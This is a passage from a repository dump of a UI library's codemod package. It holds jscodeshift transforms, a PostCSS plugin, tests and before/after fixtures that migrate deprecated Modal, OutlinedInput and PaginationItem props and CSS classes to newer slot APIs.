    "content": "import Modal from '@org/ui/material/Modal';\n\n<Modal\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slotProps={{ root: slotsRootProps }}\n  slots={{\n    root: ComponentsRoot\n  }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n<Modal\n  slots={{\n    backdrop: Backdrop\n  }}\n  slotProps={{\n    backdrop: {\n      timeout: 500,\n    }\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiModal: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      BackdropProps: {\n        timeout: 500,\n      },\n      BackdropComponent: Backdrop,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiModal: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot\n      },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slotProps: { root: slotsRootProps },\n\n      slots: {\n        root: ComponentsRoot\n      }\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiModal: {\n    defaultProps: {\n      slots: {\n        backdrop: Backdrop\n      },\n\n      slotProps: {\n        backdrop: {\n          timeout: 500,\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/index.js",
    "content": "export { default } from './outlined-input-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/outlined-input-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'OutlinedInput',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/outlined-input-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './outlined-input-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'outlined-input-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/actual.js",
    "content": "import OutlinedInput from '@mui/material/OutlinedInput';\n\n<OutlinedInput\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/expected.js",
    "content": "import OutlinedInput from '@mui/material/OutlinedInput';\n\n<OutlinedInput\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/package.actual.js",
    "content": "import OutlinedInput from '@org/ui/material/OutlinedInput';\n\n<OutlinedInput\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/package.expected.js",
    "content": "import OutlinedInput from '@org/ui/material/OutlinedInput';\n\n<OutlinedInput\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<OutlinedInput\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<OutlinedInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      componentsProps: { input: componentsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps, root: componentsRootProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/outlined-input-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput\n      },\n\n      slotProps: {\n        input: componentsInputProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: componentsInputProps,\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiOutlinedInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/index.js",
    "content": "export { default } from './pagination-item-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/pagination-item-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/PaginationItem)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'paginationItemClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace('.MuiPaginationItem-', '');\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiPaginationItem-', '')\n                    .replaceAll('&.', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (precedingTemplateElement.value.raw.endsWith('&.')) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n                    parent.quasis.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.templateElement(\n                        {\n                          raw: precedingTemplateElement.value.raw,\n                          cooked: precedingTemplateElement.value.cooked,\n                        },\n                        false,\n                      ),\n                      j.templateElement({ raw: '.', cooked: '.' }, false),\n                    );\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^&${deprecatedClass}`);\n\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(j.literal(path.value.value.replace(selectorRegex, `&${replacementSelector}`)));\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/pagination-item-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './pagination-item-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('pagination-item-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: '.MuiPaginationItem-textPrimary',\n    replacementSelector: '.MuiPaginationItem-text.MuiPaginationItem-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiPaginationItem-textSecondary',\n    replacementSelector: '.MuiPaginationItem-text.MuiPaginationItem-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiPaginationItem-outlinedPrimary',\n    replacementSelector: '.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiPaginationItem-outlinedSecondary',\n    replacementSelector: '.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated PaginationItem classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/actual.css",
    "content": ".MuiPaginationItem-textPrimary {\n  color: red;\n}\n\n.MuiPaginationItem-textSecondary {\n  color: blue;\n}\n\n.MuiPaginationItem-outlinedPrimary {\n  border: 1px solid black;\n}\n\n.MuiPaginationItem-outlinedSecondary {\n  border: 1px solid green;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/actual.js",
    "content": "import { paginationItemClasses } from '@mui/material/PaginationItem';\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        '&.MuiPaginationItem-textPrimary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-textSecondary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-outlinedPrimary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-outlinedSecondary': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        [`&.${paginationItemClasses.textPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.textSecondary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlinedPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlinedSecondary}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '&.MuiPaginationItem-textPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-textSecondary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedSecondary': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${paginationItemClasses.textPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.textSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedSecondary}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<PaginationItem\n  sx={{\n    '&.MuiPaginationItem-textPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-textSecondary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedSecondary': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<PaginationItem\n  sx={{\n    [`&.${paginationItemClasses.textPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.textSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedSecondary}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/expected.css",
    "content": ".MuiPaginationItem-text.MuiPaginationItem-colorPrimary {\n  color: red;\n}\n\n.MuiPaginationItem-text.MuiPaginationItem-colorSecondary {\n  color: blue;\n}\n\n.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary {\n  border: 1px solid black;\n}\n\n.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary {\n  border: 1px solid green;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/expected.js",
    "content": "import { paginationItemClasses } from '@mui/material/PaginationItem';\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<PaginationItem\n  sx={{\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n  }}\n/>;\n\n<PaginationItem\n  sx={{\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/package.actual.js",
    "content": "import { paginationItemClasses } from '@org/ui/material/PaginationItem';\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        '&.MuiPaginationItem-textPrimary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-textSecondary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-outlinedPrimary': {\n          color: 'red',\n        },\n        '&.MuiPaginationItem-outlinedSecondary': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        [`&.${paginationItemClasses.textPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.textSecondary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlinedPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlinedSecondary}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '&.MuiPaginationItem-textPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-textSecondary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedSecondary': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${paginationItemClasses.textPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.textSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedSecondary}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<PaginationItem\n  sx={{\n    '&.MuiPaginationItem-textPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-textSecondary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedPrimary': {\n      color: 'red',\n    },\n    '&.MuiPaginationItem-outlinedSecondary': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<PaginationItem\n  sx={{\n    [`&.${paginationItemClasses.textPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.textSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlinedSecondary}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-classes/test-cases/package.expected.js",
    "content": "import { paginationItemClasses } from '@org/ui/material/PaginationItem';\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n          color: 'red',\n        },\n        \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: {\n        [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n          color: 'red',\n        },\n        [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<PaginationItem\n  sx={{\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\": {\n      color: 'red',\n    },\n    \"&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\": {\n      color: 'red',\n    },\n  }}\n/>;\n\n<PaginationItem\n  sx={{\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n      color: 'red',\n    },\n    [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/index.js",
    "content": "export { default } from './pagination-item-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/pagination-item-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'PaginationItem',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/pagination-item-props.test.js",
